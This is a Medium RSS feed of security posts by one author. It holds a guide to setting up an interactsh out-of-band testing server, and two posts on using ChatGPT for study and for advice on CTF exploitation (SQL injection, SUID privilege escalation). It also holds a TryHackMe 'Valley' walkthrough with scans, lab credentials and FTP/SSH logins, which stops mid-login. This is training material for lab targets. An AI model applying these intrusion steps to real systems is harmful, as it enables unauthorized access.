<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vitaly Simonovich on Medium]]></title>
        <description><![CDATA[Stories by Vitaly Simonovich on Medium]]></description>
        <link>https://medium.com/@vitalysimx?source=rss-be60a633b924------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*7HHw7NrUZRanNDdKDEFh7g.png</url>
            <title>Stories by Vitaly Simonovich on Medium</title>
            <link>https://medium.com/@vitalysimx?source=rss-be60a633b924------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 03:51:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vitalysimx/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Unveiling Out-Of-Band Vulnerabilities: Using NameCheap and ״Interactsh״ for Your Server Setup]]></title>
            <link>https://medium.com/@vitalysimx/unveiling-out-of-band-vulnerabilities-using-namecheap-and-interactsh-for-your-server-setup-5ea2c3dde936?source=rss-be60a633b924------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ea2c3dde936</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[education]]></category>
            <dc:creator><![CDATA[Vitaly Simonovich]]></dc:creator>
            <pubDate>Wed, 28 Jun 2023 18:19:48 GMT</pubDate>
            <atom:updated>2023-06-28T18:19:48.320Z</atom:updated>
            <content:encoded><![CDATA[<h3>Setup an Out-Of-Band server using NameCheap and “Interactsh” server</h3><p>Out-of-band vulnerabilities are a type of security vulnerability that occurs when an application’s data processing is done in a way that allows an attacker to deliver payload data through an unexpected channel.</p><p>To put it in simple words, it’s a kind of vulnerability that does affect the server, but you cannot see the outcome unless you send the data to another server.</p><p>A common Out-Of-Band (OOB) usage is:</p><ol><li>Out-of-band SQL Injection</li><li>Out-of-band XML External Entity (XXE)</li><li>Out-of-band Cross-Site Scripting (XSS)</li></ol><p>And more.</p><p>Burp Collaborator is also an Out-Of-Band server, however, it can only be used in the BurpSuite Pro version.</p><p>In this short blog post, I will explain how to set up your own Out-Of-Band server that you can use when testing such vulnerabilities.</p><h4>What you need</h4><ol><li>VPS (Virtual Private Server)</li><li>Domain</li><li>״interactsh״ service</li></ol><h4>Setup</h4><h4>VPS (Virtual Private Server)</h4><p>You will need a VPS to install the interactsh server and also configure the DNS with its IP address.</p><p>I used Digital Ocean, but you can also use any other service like AWS, “Linode”, and more.</p><p>Once you register a new account on Digital Ocean / log in to an existing one:</p><h4>Create a new Droplet</h4><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*SkdUu3rE2fNgmyx7sH88EQ.png" /></figure><h4>Choose a region</h4><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*uB405bmBJBgJljurURTzFg.png" /></figure><h4>Choose an image — I recommend Ubuntu</h4><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*OHVycTbwbIe4a18e836Syw.png" /></figure><h4>Choose Size: Select the smallest one</h4><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*twuy33KFYlqbtvsLcINMkw.png" /></figure><h4>Choose Authentication Method — select SSH Key.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*wZ45FZjbVaXDadNlr5zoKQ.png" /></figure><p>If you have an existing SSH key, you can upload it, otherwise, you will need to create one. Just follow the instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*tEzv3bveeQKQ_Q4iklnYdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*rCFWNvJAfYaoNQ6j4MRxzQ.png" /></figure><h4>Finalize Details</h4><p>Give the VPS a new hostname (1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*UUKbtvi1cqJ2n4S0HFGUGg.png" /></figure><p>Now start the VPS. It takes a couple of minutes to boot, and you will get a public IP address once it does. Copy the address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*PmdawOJjXKJyynv3QiLIcQ.png" /></figure><h4>Domain</h4><p>You will need to buy a domain name to fully control its configuration.</p><p>I used, Namecheap, you will have to create an account and buy a domain name. You can find a very cheap, one for just a few dollars a year.</p><p>After registering a domain, select the domain name, go to “Advanced DNS” and select “ADD NAMESERVER.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*nOGGiWBS4Zlr79AZsaV17A.png" /></figure><p>Add two nameservers: NS1 and NS2, with the IP address of the VPS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*Tkr1zQ_jKZCwz4wLQzxyEA.png" /></figure><p>After that, click on the “Domain” tab and add the Name server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*iOYHhdHgePnrcRKbArmKMg.png" /></figure><h4>interactsh server setup</h4><p>Now that you have a VPS and a domain name configured, the next step is to configure the interactsh server that will receive all the Out-Of-Band traffic.</p><h4>Step 1: SSH to the VPS</h4><p>If you used Digital Ocean, the default user name is “root”.</p><p>ssh -i &lt;ssh_private_key&gt; root@&lt;vps_ip_address&gt;</p><p>The first you should do is to update Ubuntu.&quot;</p><p>apt update &amp;&amp; apt -y upgrade</p><h4>Step 2: Install Golang</h4><p>interactsh server is written in Go programming language. You need to install the latest version.</p><p>Go to <a href="https://go.dev/dl/">https://go.dev/dl/</a> and download the latest version of Go:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*7quyU7lpRHM72ET4wNS4SQ.png" /></figure><p>To get the download link, right-click on the link and copy the link address.</p><p>wget <a href="https://go.dev/dl/go1.20.5.linux-amd64.tar.gz">https://go.dev/dl/go1.20.5.linux-amd64.tar.gz</a></p><p>After downloading the Go source, go to <a href="https://go.dev/doc/install">https://go.dev/doc/install</a> and follow the Linux installation instructions.</p><ol><li>rm -rf /usr/local/go &amp;&amp; tar -C /usr/local -xzf go1.20.5.linux-amd64.tar.gz</li><li>echo &quot;export PATH=$PATH:/usr/local/go/bin&quot; &gt;&gt; ~/.profile</li></ol><h4>Step 3: Install interactsh server</h4><p>Install the server: go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest</p><p>Add interactsh server to PATH:</p><ul><li>echo &quot;export PATH=$PATH:/root/go/bin&quot; &gt;&gt; ~/.profile</li><li>export PATH=$PATH:/root/go/bin</li></ul><p>After the setup is complete, start interactsh server:</p><p>interactsh-server -domain INTERACTSH_DOMAIN</p><p>INTERACTSH_DOMAIN - is the domain name you registered and configured the NS records for.</p><p>You have many options to run the interactsh-server including:</p><ul><li>Configure authentication token</li><li>Serving static files</li><li>Dynamic response</li><li>and much more</li></ul><p>For more information, visit the official repository at interactsh <a href="https://github.com/projectdiscovery/interactsh">https://github.com/projectdiscovery/interactsh</a></p><p>In my example, I run the server with the following flag:</p><p>interactsh-server -domain undercoverbytes.com -t &lt;token&gt; -http-directory ./payloads/</p><p>-tis the token I will use to connect to the server with the interactsh client. The token is used for authentication.</p><p>-http-directoryis the directory I will use to store my static files. They can be XXE payloads, XSS payloads, and more.</p><p>Note: To run the server in the background, add &amp; at the end of the command.</p><h4>Step 3: Install interactsh client</h4><p>Now that the server is running, we need a client to connect to it and see the results.</p><p>I used the web-based interactsh client, which can be found <a href="https://github.com/projectdiscovery/interactsh-web">here</a></p><p>I ran the command on my local machine:</p><pre>docker pull projectdiscovery/interactsh-web<br>docker run -it -p 3000:3000 projectdiscovery/interactsh-web</pre><p>You have other options for the interactsh client, check them <a href="https://github.com/projectdiscovery/interactsh">here</a></p><p>Once the web-based interactsh client is running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*iJYU4FTAo40XquAJ7y5h6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*9pDIi0ONshzUJxzx_l1u5g.png" /></figure><p>You only need to copy the URL and use it in your security testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*9CaqokAIZZyDvMVOOPe2RQ.gif" /></figure><p>You can see all the traffic that was generated for the random domain!</p><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ea2c3dde936" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AI-Powered Trainer: Revolutionizing Cybersecurity Training]]></title>
            <link>https://medium.com/@vitalysimx/ai-powered-trainer-revolutionizing-cybersecurity-training-27d77c2bebdc?source=rss-be60a633b924------2</link>
            <guid isPermaLink="false">https://medium.com/p/27d77c2bebdc</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[careers]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[machine-learning]]></category>
            <dc:creator><![CDATA[Vitaly Simonovich]]></dc:creator>
            <pubDate>Thu, 15 Jun 2023 12:09:52 GMT</pubDate>
            <atom:updated>2023-06-15T12:09:52.266Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dhq_rRN76_AtysakIjbSpQ.png" /><figcaption>Futuristic classroom</figcaption></figure><p>By now, most of us have used LLMs like ChatGPT and Bard to boost our productivity, write code, explain concepts, and much more.</p><p>In this short blog, I want to talk about using ChatGPT to be your personal trainer for cybersecurity (and not only).</p><h4>Prompt engineering</h4><p>Prompt engineering refers to the process of designing and optimizing the input queries or statements given to an AI model to yield the most effective or desirable responses. It is crucial to use AI systems, especially for models like GPT-4, where the structure of the prompt has a significant impact on the output. Through strategic prompt engineering, users can guide the model’s responses, control the complexity of the output, and even elicit specific types of knowledge or behavior from the AI.</p><h4>Passive prompts</h4><p>If you used ChatGPT, you probably used it passively. For example: “Write a blog about X that will sound natural and will have at least 500 words”, “Explain X as you would explain to a five-year-old”</p><p>This is what “passive prompt” is — passive interaction with the LLM.</p><p>Now let’s see how ChatGPT can be your AI trainer using active prompting</p><h4>Active prompts</h4><p>In the active prompt, you are switching roles. Instead of your giving instructions and asking questions to the LLM, he is now asking you questions and giving you instructions. Let’s see a few examples:</p><h4>Job interview</h4><p>Suppose you’re preparing for an interview for a SOC analyst role at a cybersecurity firm where their primary offering is a Web Application Firewall (WAF). In such a role, you’d be tasked with managing various security issues related to web applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*xSLBs6T1eGvuBqnFeh559Q.png" /></figure><p>With ChatGPT at your side, you’ll find yourself well-equipped for your interview. From offering insights on potential questions to decoding job descriptions, and even helping you manage those pre-interview jitters, ChatGPT is ready to assist.</p><p>The same prompt can also help you prepare for an exam.</p><p>Another tip, you can provide to ChatGPT the entire job description.</p><h4>Test your skills</h4><p>ChatGPT can serve as an excellent tool for testing your abilities. If, for example, you want to estimate your skills in malware analysis, ChatGPT can assist in creating scenarios or questions to help you evaluate your knowledge and expertise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b-1kggimbwBLsgg81a83IA.png" /></figure><h4>“Teach me”</h4><p>If there’s a topic you’re eager to dive into, ChatGPT has got your back. Say, for example, that you’re keen on understanding the mechanics of buffer overflow attacks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*1eOlUS9OL5Io2rh5NdFMPw.png" /></figure><h4>Conclusion</h4><p>LLMs will change the way we learn and educate ourselves. You need to embrace the change and harness it for your own good.</p><p>The people learning to use LLMs will have a significant advantage.</p><p>Keep learning and improving!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27d77c2bebdc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Leveraging AI in CTF Challenges: Where to Draw the Line]]></title>
            <link>https://medium.com/@vitalysimx/leveraging-ai-in-ctf-challenges-where-to-draw-the-line-be5db66a602e?source=rss-be60a633b924------2</link>
            <guid isPermaLink="false">https://medium.com/p/be5db66a602e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[careers]]></category>
            <dc:creator><![CDATA[Vitaly Simonovich]]></dc:creator>
            <pubDate>Thu, 08 Jun 2023 07:43:14 GMT</pubDate>
            <atom:updated>2023-06-08T07:43:14.666Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PtaSf7No9K5iVW9m.png" /></figure><h4>Introduction</h4><p>On November 2022, ChatGPT broke into everybody’s lives.</p><p>Large Language Models (LLMs), like OpenAI’s GPT-3 and GPT-4, are a type of artificial intelligence (AI) technology. AI is a broad term encompassing a range of technologies designed to mimic human intelligence in some way, including understanding and generating natural language, recognizing patterns, making decisions, and learning from experience.</p><p>LLM (Large Language Model) is not a new technology. But what OpenAI did with ChatGPT was open LLMs for general usage without knowing all the complex mathematics and algorithms.</p><p>A prompt refers to the input text that you provide to the model. It’s essentially the instruction or question you give the AI, which it uses to generate a response.</p><p>LLMs like OpenAI’s ChatGPT and Google Bard are trained on diverse internet texts and thus have a wide array of capabilities, though their efficacy can vary based on the specifics of a given task.</p><p>Here are some areas where they tend to excel:</p><ol><li>Text Generation and Completion.</li><li>Question Answering.</li><li>Translation.</li><li>Summarization.</li><li>Coding.</li><li>Tutoring.</li></ol><p>And much more.</p><p>If we apply those capabilities to CTFs, it’s a game changer.</p><h4>What are CTFs?</h4><p>CTF stands for “Capture The Flag,” a type of competition commonly used in the field of cybersecurity, although it can also refer to other forms of problem-solving contests. These events are designed to serve as learning platforms and a way to test and improve one’s skills.</p><p>In cybersecurity, CTFs typically involve participants or teams trying to find and exploit vulnerabilities in a given system, with the objective of “capturing” a flag, which is usually a specific piece of information or a particular file. The flag is then submitted to the event organizers for points. The team or individual with the most points at the end of the event is declared the winner.</p><p>One of the most common formats is Boot2Root.</p><p>The primary goal of a Boot2Root challenge is to exploit vulnerabilities in a system to gain root access, essentially the highest level of access or control over the system.</p><h4>The Role of LLMs in CTF Challenges</h4><p>Navigating a Boot2Root challenge often leads to moments of being stumped. During these moments, we typically turn to our reliable ally — Google. Our search queries quickly fill up with questions like, “How can I scan this…?”, “What’s the method to crack this hash…?”, or “How can I leverage this SUID file to gain root privileges?”, and many more.</p><p>A crucial aspect of these searches is the learning process. When you find an answer, it’s not just about copying and pasting a solution to overcome the immediate challenge. It’s about absorbing the knowledge behind the solution and developing a deep understanding that you can apply to future problems.</p><p>The advent of Large Language Models (LLMs) has significantly streamlined this process. Models like ChatGPT can offer directions, provide hints, and sometimes even generate solutions at a swift pace. Yet, it’s important to approach these AI tools as learning aids rather than shortcuts. Use them to enhance your understanding of the challenge at hand, so you continue to grow as a problem-solver in the intriguing world of CTFs.</p><p>It’s important to bear in mind that LLMs, being statistical models, can give incorrect responses — thus, it’s crucial to validate their outputs.</p><p>Let&#39;s see some examples:</p><h4>Use case 1: I have a URL. Suggest next steps:</h4><p>I provided a URL to ChatGPT and requested its recommendations for potential exploitation strategies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*ujWrKsX4DS9lKFNoE6wJAA.png" /></figure><p>Indeed, ChatGPT offered several strategies on how to exploit a URL potentially. In this instance, the vulnerability was SQL Injection, and ChatGPT assisted in demonstrating how to exploit it. However, it’s crucial not only to follow these steps but also to comprehend why ChatGPT recommended SQL Injection as the approach. Understanding the reasoning behind the strategy is essential in the process of ethical hacking.</p><h4>Use case 2: “find” the root.</h4><p>After securing initial access to the machine, I presented the output from the find command for SUID files to ChatGPT, seeking advice on the next steps to take.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*WVL6Mkq0Hx_-AWBOPCu2dg.png" /></figure><p>In this case, ChatGPT helped to find different uses of the “find” command having the SUID flag to escalate my privileges.</p><h4>Use case 3: I’m clueless</h4><p>In this case, I will give ChatGPT the Nmap scan output and ask to suggest the next steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*fDBC4A6Nq34fwYCNpb7aZQ.png" /></figure><p>In this challenge, the misconfiguration was in the SMB service.</p><h4>Conclusion</h4><p>We are at the precipice of a paradigm shift in data consumption. As search engines once paved the way for a new way of accessing information, Language Learning Models (LLMs) like ChatGPT and Bard are set to transform our operational dynamics. Their utility in Capture The Flag (CTF) challenges is unquestionable. However, it is crucial that we do not lean excessively on them but instead use these tools to sharpen our understanding and professionalism.</p><p>As you delve deeper into CTFs using these sophisticated tools, always remember the core objective: continuous learning and enhancing your skills. When working with LLMs, your results are directly proportional to the quality and context of your input. The more detailed and specific your data and examples, the more precise and beneficial the output will be.</p><p>Mastering the craft of prompt engineering is no longer an option; it’s a necessity. By refining this skill, you’ll be able to harness the full potential of LLMs and utilize them as powerful allies in your journey toward professional growth and success.</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be5db66a602e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Valley]]></title>
            <link>https://medium.com/@vitalysimx/tryhackme-valley-e8bc0548b65b?source=rss-be60a633b924------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8bc0548b65b</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Vitaly Simonovich]]></dc:creator>
            <pubDate>Sun, 28 May 2023 14:01:38 GMT</pubDate>
            <atom:updated>2023-05-28T14:01:38.491Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Valley</h3><p>For the tool’s commands, I used: <a href="https://www.hackerstoolkit.co/">https://www.hackerstoolkit.co</a></p><p>We&#39;ve got an IP address; let&#39;s scan it:</p><p>nmap -sS -sV -sC 10.10.255.132</p><pre>root@ip-10-10-253-48:~# nmap -sS -sV -sC 10.10.255.132<br><br>Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-27 13:56 BST<br>Nmap scan report for ip-10-10-255-132.eu-west-1.compute.internal (10.10.255.132)<br>Host is up (0.00014s latency).<br>Not shown: 998 closed ports<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>MAC Address: 02:FA:A7:89:61:8F (Unknown)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 8.78 seconds</pre><p>Port 80 is open. Let&#39;s access it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*azT8PJPXug6AzWtYBExFfg.png" /><figcaption>A screenshot of “Valley Photo Co.” website</figcaption></figure><p>The website does not have a “robots.txt” file.</p><p>When browsing through the website, there are photo galleries and a price list.</p><p>Gallery page: <a href="http://10.10.255.132/gallery/gallery.html">http://10.10.255.132/gallery/gallery.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*T7xXKDbzNa9U_INB4FuY3g.png" /><figcaption>The HTML source code of the “<a href="http://10.10.255.132/gallery/gallery.html">gallery.html</a>”</figcaption></figure><p>Each image has an ID.</p><p><a href="http://10.10.255.132/static/18">http://10.10.255.132/static/18</a></p><p>Price list page: <a href="http://10.10.255.132/pricing/pricing.html">http://10.10.255.132/pricing/pricing.html</a></p><p>When browsing to the pricing directory: <a href="http://10.10.255.132/pricing/">http://10.10.255.132/pricing/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*nKB2TE1rNhvG0TgYP-Hdnw.png" /><figcaption>The directory structure of “/pricing/” folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*mgQO_bsogWrt9fCH0K8aCA.png" /><figcaption>The content of “note.txt”</figcaption></figure><p>I think it’s a dead end.</p><p>I tried a few wordlists to find more paths, but with no luck, until I fuzzed the directories using ffuf with recursive flag:</p><pre>root@ip-10-10-253-48:~# ffuf -u http://10.10.255.132/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -recursion<br><br>        /&#39;___\  /&#39;___\           /&#39;___\       <br>       /\ \__/ /\ \__/  __  __  /\ \__/       <br>       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      <br>        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      <br>         \ \_\   \ \_\  \ \____/  \ \_\       <br>          \/_/    \/_/   \/___/    \/_/       <br><br>       v1.3.1<br>________________________________________________<br><br> :: Method           : GET<br> :: URL              : http://10.10.255.132/FUZZ<br> :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt<br> :: Follow redirects : false<br> :: Calibration      : false<br> :: Timeout          : 10<br> :: Threads          : 40<br> :: Matcher          : Response status: 200,204,301,302,307,401,403,405<br>________________________________________________<br><br>gallery                 [Status: 301, Size: 316, Words: 20, Lines: 10]<br>[INFO] Adding a new job to the queue: http://10.10.255.132/gallery/FUZZ<br><br>static                  [Status: 301, Size: 315, Words: 20, Lines: 10]<br>[INFO] Adding a new job to the queue: http://10.10.255.132/static/FUZZ<br><br>pricing                 [Status: 301, Size: 316, Words: 20, Lines: 10]<br>[INFO] Adding a new job to the queue: http://10.10.255.132/pricing/FUZZ<br><br>server-status           [Status: 403, Size: 278, Words: 20, Lines: 10]<br>                        [Status: 200, Size: 1163, Words: 176, Lines: 39]<br>                        [Status: 200, Size: 1163, Words: 176, Lines: 39]<br>[INFO] Starting queued job on target: http://10.10.255.132/gallery/FUZZ<br><br>                        [Status: 200, Size: 946, Words: 61, Lines: 17]<br>                        [Status: 200, Size: 946, Words: 61, Lines: 17]<br>[INFO] Starting queued job on target: http://10.10.255.132/static/FUZZ<br><br>3                       [Status: 200, Size: 421858, Words: 1549, Lines: 1773]<br>8                       [Status: 200, Size: 7919631, Words: 0, Lines: 0]<br>5                       [Status: 200, Size: 1426557, Words: 4953, Lines: 5450]<br>1                       [Status: 200, Size: 2473315, Words: 10264, Lines: 10416]<br>9                       [Status: 200, Size: 1190575, Words: 3866, Lines: 4439]<br>2                       [Status: 200, Size: 3627113, Words: 18110, Lines: 18411]<br>7                       [Status: 200, Size: 5217844, Words: 20486, Lines: 19522]<br>4                       [Status: 200, Size: 7389635, Words: 0, Lines: 0]<br>10                      [Status: 200, Size: 2275927, Words: 8654, Lines: 8780]<br>6                       [Status: 200, Size: 2115495, Words: 7982, Lines: 9285]<br>11                      [Status: 200, Size: 627909, Words: 2055, Lines: 2130]<br>12                      [Status: 200, Size: 2203486, Words: 8505, Lines: 9816]<br>15                      [Status: 200, Size: 3477315, Words: 13107, Lines: 14243]<br>13                      [Status: 200, Size: 3673497, Words: 13878, Lines: 16580]<br>14                      [Status: 200, Size: 3838999, Words: 13327, Lines: 16033]<br>16                      [Status: 200, Size: 2468462, Words: 9883, Lines: 9004]<br>18                      [Status: 200, Size: 2036137, Words: 7704, Lines: 8326]<br>00                      [Status: 200, Size: 127, Words: 15, Lines: 6]<br>17                      [Status: 200, Size: 3551807, Words: 12976, Lines: 13072]<br>                        [Status: 200, Size: 567, Words: 43, Lines: 15]<br>                        [Status: 200, Size: 567, Words: 43, Lines: 15]<br>[INFO] Starting queued job on target: http://10.10.255.132/pricing/FUZZ<br><br>                        [Status: 200, Size: 1140, Words: 73, Lines: 18]<br>                        [Status: 200, Size: 1140, Words: 73, Lines: 18]<br>:: Progress: [56165/56165] :: Job [4/4] :: 19386 req/sec :: Duration: [0:00:04] :: Errors: 12 ::</pre><p>Found: <a href="http://10.10.255.132/static/00">http://10.10.255.132/static/00</a></p><pre>dev notes from valleyDev:<br>-add wedding photo examples<br>-redo the editing on #4<br>-remove /dev1243224123123<br>-check for SIEM alerts</pre><p><a href="http://10.10.255.132/dev1243224123123/">http://10.10.255.132/dev1243224123123/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*peksyfaTWBFgXrpuufXRNA.png" /><figcaption>Login page is located at “/<a href="http://10.10.255.132/dev1243224123123/">dev1243224123123/</a>”</figcaption></figure><p>Before trying to brute force the login page, look around: HTML source , JavaScript…</p><p><a href="http://10.10.255.132/dev1243224123123/dev.js">http://10.10.255.132/dev1243224123123/dev.js</a></p><pre>loginButton.addEventListener(&quot;click&quot;, (e) =&gt; {<br>    e.preventDefault();<br>    const username = loginForm.username.value;<br>    const password = loginForm.password.value;<br><br>    if (username === &quot;siemDev&quot; &amp;&amp; password === &quot;california&quot;) {<br>        window.location.href = &quot;/dev1243224123123/devNotes37370.txt&quot;;<br>    } else {<br>        loginErrorMsg.style.opacity = 1;<br>    }</pre><p><a href="http://10.10.255.132/dev1243224123123/devNotes37370.txt">http://10.10.255.132/dev1243224123123/devNotes37370.txt</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*5yxcg5sqRX1L8Hk_neW4Yw.png" /><figcaption>The content of “<a href="http://10.10.255.132/dev1243224123123/devNotes37370.txt">devNotes37370.txt</a>”</figcaption></figure><p>So far, we have two possible usernames:</p><ul><li>valleyDev</li><li>siemDev</li></ul><p>And a password:</p><ul><li>california</li></ul><p>From the hint, we have an FTP server in an usual port. I run a scan against all ports:</p><pre>root@ip-10-10-253-48:~# nmap -sS -p- -T5 10.10.255.132<br><br>Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-27 14:37 BST<br>Warning: 10.10.255.132 giving up on port because retransmission cap hit (2).<br>Nmap scan report for ip-10-10-255-132.eu-west-1.compute.internal (10.10.255.132)<br>Host is up (0.00016s latency).<br>Not shown: 65532 closed ports<br>PORT      STATE SERVICE<br>22/tcp    open  ssh<br>80/tcp    open  http<br>37370/tcp open  unknown<br>MAC Address: 02:FA:A7:89:61:8F (Unknown)</pre><p>Getting the service version of the port</p><pre>root@ip-10-10-253-48:~# nmap -sS -p 37370 -sV -sC 10.10.255.132<br><br>Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-27 14:42 BST<br>Nmap scan report for ip-10-10-255-132.eu-west-1.compute.internal (10.10.255.132)<br>Host is up (0.00011s latency).<br><br>PORT      STATE SERVICE VERSION<br>37370/tcp open  ftp     vsftpd 3.0.3<br>MAC Address: 02:FA:A7:89:61:8F (Unknown)<br>Service Info: OS: Unix<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 4.07 seconds</pre><p>Logged in to the FTP server:</p><p>ftp 10.10.255.132 37370</p><p>Username: siemDev</p><p>Password: california</p><pre>root@ip-10-10-253-48:~# ftp 10.10.255.132 37370<br>Connected to 10.10.255.132.<br>220 (vsFTPd 3.0.3)<br>Name (10.10.255.132:root): siemDev<br>331 Please specify the password.<br>Password:<br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls<br>200 PORT command successful. Consider using PASV.<br>150 Here comes the directory listing.<br>-rw-rw-r--    1 1000     1000         7272 Mar 06 13:55 siemFTP.pcapng<br>-rw-rw-r--    1 1000     1000      1978716 Mar 06 13:55 siemHTTP1.pcapng<br>-rw-rw-r--    1 1000     1000      1972448 Mar 06 14:06 siemHTTP2.pcapng<br>226 Directory send OK.</pre><p>I downloaded all the PCAP files using get command.</p><p>I started to investigate all the PCAPs.</p><p>In the third PCAP — siemHTTP2.pcapngI found the following:</p><pre>POST /index.html HTTP/1.1<br>Host: 192.168.111.136<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 42<br>Origin: http://192.168.111.136<br>Connection: keep-alive<br>Referer: http://192.168.111.136/index.html<br>Upgrade-Insecure-Requests: 1<br><br>uname=valleyDev&amp;psw=ph0t0s1234&amp;remember=on</pre><p>I looked and investigated the PCAPs but didn’t find anything …</p><p>Let’s try to SSH using the credentials:</p><pre>root@ip-10-10-253-48:~# ssh valleyDev@10.10.255.132<br>The authenticity of host &#39;10.10.255.132 (10.10.255.132)&#39; can&#39;t be established.<br>ECDSA key fingerprint is SHA256:FXFNT9NFnKkrWkvCpeoDAJlr/IEVsKJjboVsCYH3pGE.<br>Are you sure you want to continue connecting (yes/no)? yes<br>Warning: Permanently added &#39;10.10.255.132&#39; (ECDSA) to the list of known hosts.<br>valleyDev@10.10.255.132&#39;s password: <br>Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-139-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br> * Introducing Expanded Security Maintenance for Applications.<br>   Receive updates to over 25,000 software packages with your<br>   Ubuntu Pro subscription. Free for personal 